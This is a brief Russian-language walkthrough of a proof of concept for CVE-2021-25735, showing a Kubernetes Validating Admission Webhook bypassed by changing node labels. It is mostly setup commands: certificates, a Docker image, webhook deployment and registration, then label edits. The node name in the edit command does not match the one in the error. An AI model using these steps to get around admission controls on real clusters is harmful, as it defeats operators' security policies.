
Эксплойт для CVE-2021-25735, демонстрирующий обход Validating Admission Webhook в Kubernetes через манипуляцию метками node, с разворачиваемым Docker-контейнером и скриптами регистрации webhook.
Начнем с запуска скрипта gencerts.sh для генерации TLS-сертификатов и ключей.
bash gencerts.sh
Для развертывания контроллера допуска необходимо локально собрать образ Docker-контейнера, присвоить ему тег и отправить образ в свой Dockerhub с помощью следующих команд.
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0
Теперь вы можете развернуть созданный образ с приложением Node.js в своем кластере K8s. Файл webhook-deploy.yaml развернет все необходимые компоненты в вашем кластере.
kubectl apply -f webhook-deploy.yaml
Теперь зарегистрируем наш вебхук в API-сервере Kubernetes. Для этого создадим Base64-представление файла ca.crt, созданного ранее, и заменим CA_BUNDLE в файле webhook-registration.yaml.
cat ca.crt | base64
Наконец, мы зарегистрируем вебхук в API-сервере Kubernetes.
kubectl apply -f webhook-registration.yaml
Мы вносим изменение в метку узла с помощью редактирования узлов и добавляем новую метку.
kubectl edit nodes ip-172-20-61-82.ec2.internal
labels:
test: test
changeAllowed: "false"
Поскольку ChangeAllowed установлено в "false", мы получаем следующую ошибку:
error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run
kubectl replace -f /tmp/kubectl-edit-irc64.yamlto try this update again.
Если мы повторим попытку изменить узел, выполнив следующие изменения:\
labels:
test: test
changeAllowed: "true"
В этом случае действие по редактированию было принято, обойдя контроллер допуска.